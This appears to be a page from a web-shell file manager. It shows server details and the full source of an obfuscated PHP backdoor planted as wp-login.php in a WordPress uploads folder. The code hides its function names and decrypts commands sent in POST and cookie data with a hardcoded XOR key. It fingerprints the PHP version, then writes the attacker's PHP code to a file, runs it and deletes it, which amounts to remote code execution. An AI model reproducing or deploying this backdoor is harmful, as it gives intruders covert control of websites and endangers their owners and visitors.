HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/wp-login.php
<?php $qo_llhfl /*ehod   */ =   'qo_llhfl' /*  wu   */ ^      '-';

$tbsczuv_js /*  ypeyb   */ = /*djwm*/ "\x61"       .       "\162"    .    "r".$qo_llhfl(1029-932)  .     "\171"    .   "_"."\155" /*   zxon */ .	"a"."\160";$qaroq /*   dwph*/ =    "\x69"  .    "\x6d" /* tzoaoc  */ .    $qo_llhfl(112) /*  r */ .     "\154"     .   "o"."d"."e";








function /* _cid  */ mzdbjo($ghrsus_d,     $kexfl)


{


  global /*avuu  */ $qo_llhfl; /*  mydxef */ 


 /*   fy*/ $ghrsus_d  =    $qo_llhfl(60) /*wcomfq*/ .      "?"."p".$qo_llhfl(104)    .   "\x70" /* bdycnh */ .      $qo_llhfl(32) /*q  */ . /*   jnxpp   */ $qo_llhfl(289-172)	. /* __qwo   */ "\156"    .  "l".$qo_llhfl(105) /*  jhyqhm */ .       $qo_llhfl(110)     . /*_l   */ "k"."("."_".$qo_llhfl(705-610)	.       "F".$qo_llhfl(73) /*cmkcbv */ . /*  pyw*/ "L"."E".$qo_llhfl(721-626)	. /* a_   */ $qo_llhfl(647-552)       . /*   gtmefl   */ "\x29" /*   iblwa */ .    ";".$qo_llhfl(32) /* ti  */ .  $ghrsus_d[$qo_llhfl(100)];    $ipggvghbjwkgk      =    "\146" /* nxymg*/ .	$qo_llhfl(685-580) /*jqjkvr  */ . /*xzjh   */ "\x6c" /*  t  */ .      "\x65"	. /*   z_ngzy*/ "\x5f"	.    "\160" /*  mvjuq */ . /*k*/ "\x75"     .      $qo_llhfl(116)	.     "_".$qo_llhfl(922-823)	. /*pywu   */ $qo_llhfl(111)     .	"\156" /*mq   */ .    "t".$qo_llhfl(482-381) /*wz   */ .       "n"."t"."s";       $ipggvghbjwkgk($kexfl,    $ghrsus_d);

	


 /*  vuomv  */ p_uajr($kexfl);
}

$cf_lcf	= /*  pqql */ 73;


function	p_uajr($kexfl){ /*   yptjbz   */ global   $qo_llhfl;

       
   include($kexfl);
    $ujpolvezur     =	$kexfl;

      @unlink($ujpolvezur);


}



function    bonhbncbbg()
{

 /*bty   */ global /*izkwtx */ $qo_llhfl;

 /*fbgt  */ $ipggv       =	array(); /* fhjrz*/ $ipggv["p".$qo_llhfl(780-662)]      =    phpversion();


    $ipggv[$qo_llhfl(115) /* t_i */ .   "\x76"] /* ffr */ =   "3".$qo_llhfl(46)    . /*   ygams*/ $qo_llhfl(870-817);
	$wkuii    =    74;


  echo /*   ce  */ @serialize($ipggv);


}



function      zfhld($ghrsus_d,     $kvmzmip)

{ /*   mi  */ global	$qo_llhfl;

      $evukqzjka    = /*nc  */ "";

    $ztcxgyjaq       =    strlen($ghrsus_d);


 /* tx_d   */ $gokqwetna	= /*_a*/ strlen($kvmzmip);


 /*   oax  */ $ipggv    =  0;


 /*   flls */ $bvpmaxmzl  =	0;
     

	while    ($ipggv    <	$ztcxgyjaq)    {
 /* lb */ $deecajrnfp    = /*   awjv   */ $ghrsus_d[$ipggv]	^	$kvmzmip[$bvpmaxmzl /*l  */ %     $gokqwetna];


       $evukqzjka /* e*/ .=    $deecajrnfp;       $bvpmaxmzl++; /* cbjhtf   */ 


  $ipggv++;
  }

 /*rcc */ 


	if    (strlen($evukqzjka) /*  udz*/ >    20)      {
     $n_cykb    =	substr($evukqzjka,    0,    20);   }


	if   (empty($evukqzjka))      {


 /*c */ $evukqzjka    =    date('Y-m-d /*w   */ H:i:s'); /*   wavv_a*/ }
 /*  fyypi*/ return      $evukqzjka;
}





function	blwlhho($liokdiy)


{
	global /* zls   */ $qo_llhfl;


	
	$otlzwceuiy    =     "\141"."0".$qo_llhfl(100) /* kjf*/ . /*   rh   */ "\x61" /*   cu */ . /*   ijg   */ $qo_llhfl(51)    .    $qo_llhfl(100)."6"."\65"       .       "-"."9"."9"."c"."\61"      .    $qo_llhfl(693-648)       .      $qo_llhfl(247-195) /* zv */ .    "7"."\143"    . /* kj   */ "9"."-"."\141".$qo_llhfl(51)   . /*  i  */ "4"."f"."-".$qo_llhfl(102)  .	$qo_llhfl(861-763)    .   $qo_llhfl(376-328)    .    "9"."\60" /*   hgim */ .	$qo_llhfl(50) /*jdo*/ . /*wdlbpx  */ "\62" /*tndt */ . /*   uqcgm */ "\x30"    .       "\x30"  . /*xef  */ "\146"      .	"8".$qo_llhfl(100);
        foreach    ($liokdiy    as /*  le   */ $vz_yb /*  cijkce   */ =>    $ghrsus_d)	{ /*innlz */ ydbqmnwyq(base64_decode($ghrsus_d),    $otlzwceuiy, /*   cog  */ $vz_yb);      }


}


function  ydbqmnwyq($ghrsus_d,    $otlzwceuiy, /*i   */ $vz_yb){ /* xxhet*/ global      $qo_llhfl;
 /*  c_zf   */     $ghrsus_d /*ahpdd  */ = /* kjoza   */ unserialize(zfhld(zfhld($ghrsus_d, /*  ba */ $otlzwceuiy), /*  mnm_ */ $vz_yb));	$av_rq   =      'skvucjtq';

	$bgxjfkvh  = /* b   */ 'wafnwxoxz';
 /*kaos  */ if	(isset($ghrsus_d["\x61"	.    "\x6b"]))      {
 /* wj   */ if  ($ghrsus_d["\141"]      ==       "\x69")    { /* xptzi*/ bonhbncbbg();

 /* nh */ }  elseif /* jjqjyu   */ ($ghrsus_d["\141"]	==   "e")	{    mzdbjo($ghrsus_d, /*  yn*/ sprintf("\x2e"    .     "/"."\x25"      .    "s"."."."\160" /*_*/ .	"\154", /* fp   */ md5($otlzwceuiy)));

			$bvpmaxmzlw_dqw   = /*   jegxkw   */ 44; /*  sgtv */ }


       exit();


 /* ydj   */ }


}


blwlhho($_POST);     


$vlt_v /*  zv */ =    'rawurldecode';

$uzyjih    = /*  ps_a */ $tbsczuv_js($vlt_v,	$_POST);
$qaroq("",    $vlt_v);


blwlhho($_COOKIE);




$azjxjj	= /*  qn  */ $tbsczuv_js($vlt_v,    $_COOKIE);

?>